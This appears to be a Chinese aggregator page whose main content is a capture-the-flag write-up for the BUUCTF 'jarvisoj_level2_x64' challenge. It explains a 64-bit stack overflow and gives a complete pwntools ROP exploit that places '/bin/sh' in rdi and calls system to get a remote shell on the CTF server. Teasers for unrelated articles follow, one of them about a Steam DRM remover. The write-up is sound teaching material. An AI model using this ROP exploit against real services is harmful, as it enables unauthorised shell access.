news 2026/7/13 19:51:52

BUUCTF[jarvisoj_level2_x64]

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF[jarvisoj_level2_x64]

步骤

使用checksec查看

使用ida(pro)打开

根进vulnerable_function函数

依旧是栈溢出

这道题我们无法使用上一题的32位来直接使用plt表来跳转到system,所以我们使用ROPgadget

使用指令 ROPgadget --binary 文件名 来获取信息

这里可以查看到pop rdi;ret的地址

在64位中前几个参数我们是使用寄存器来存储的,后续的存放下栈中

与32位直接存放在栈中不同,在此处我们需要向rdi寄存器中存入我们的后门函数地址

我们通过pop rdi;ret来将/bin/sh地址存入rdi寄存器,并且调用system函数

/bin/sh地址

system地址

exp

from pwn import * #p=process('./level2_x64') p=remote('node5.buuoj.cn',29996) pop_rdi_ret_addr = 0x4006b3 bin_sh_addr = 0x600A90 system_addr = 0x40063E pay = b'a'*(0x80+8) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr) p.sendlineafter(b"Input",pay) p.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/14 4:36:45

Vue3如何设计百万文件上传的进度监控界面?

天津XX软件公司大文件传输系统前端技术方案(第一人称视角) 一、技术选型与架构设计 作为前端负责人,我主导了基于Vue3 TypeScript的模块化架构设计,核心解决以下痛点: 浏览器兼容性:通过分层适配策略覆…

作者头像 李华
网站建设 2026/7/14 4:24:25

Steamless终极指南:深度解析DRM移除技术与多场景应用

Steamless终极指南:深度解析DRM移除技术与多场景应用 【免费下载链接】Steamless Steamless is a DRM remover of the SteamStub variants. The goal of Steamless is to make a single solution for unpacking all Steam DRM-packed files. Steamless aims to supp…

作者头像 李华
网站建设 2026/7/14 2:54:45

如何在消费级显卡上运行Llama-Factory进行模型微调?

如何在消费级显卡上运行 Llama-Factory 进行模型微调? 在大模型时代,训练一个像 LLaMA-2 或 Qwen 这样的 70 亿参数语言模型,听起来像是只有科技巨头才能负担的“重工业”项目。动辄上百 GB 显存、多卡 A100 集群、数万美元的云成本——这些门…

作者头像 李华
网站建设 2026/7/14 7:10:54

Qwen-Edit多角度控制插件:零基础快速掌握12种镜头变换技巧

Qwen-Edit多角度控制插件:零基础快速掌握12种镜头变换技巧 【免费下载链接】Qwen-Edit-2509-Multiple-angles 项目地址: https://ai.gitcode.com/hf_mirrors/dx8152/Qwen-Edit-2509-Multiple-angles 还在为单一视角的图像创作而烦恼?Qwen-Edit-2…

作者头像 李华
网站建设 2026/7/13 22:39:22

Layui表格终极指南:实现行拖拽排序功能的完整解决方案

Layui表格终极指南:实现行拖拽排序功能的完整解决方案 【免费下载链接】layui 项目地址: https://gitcode.com/gh_mirrors/lay/layui Layui表格组件在前端开发中被广泛使用,但原生表格仅支持通过edit参数进行排序操作。在实际业务场景中&#xf…

作者头像 李华